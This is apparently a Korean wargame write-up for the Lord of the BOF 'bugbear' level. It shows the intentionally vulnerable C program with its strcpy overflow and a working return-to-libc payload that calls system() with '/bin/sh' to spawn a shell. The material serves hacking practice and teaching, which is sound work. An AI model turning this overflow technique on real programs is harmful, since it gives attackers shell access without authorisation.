[LOB] darkknight -> bugbear

2018. 4. 2. 17:17
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47== '\xbf')
    {
        printf("stack betrayed you!!\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
 
cs


힌트는 RTL! 이다 Return To Library!


스택이 배신했다.. 라이브러리로 가자



system함수의 주소이다.



system함수의 주소로 부터 찾은 "/bin/sh" 문자열의 주소이다.



payload : ./bugbear `python -c 'print("A"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40")'`



성공





'Wargame > LOB' 카테고리의 다른 글

[LOB] giant -> assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02
[LOB] golem -> darkknight  (0) 2018.04.02
[LOB] skeleton -> golem  (0) 2018.04.01
[LOB] vampire -> skeleton  (0) 2018.04.01

+ Recent posts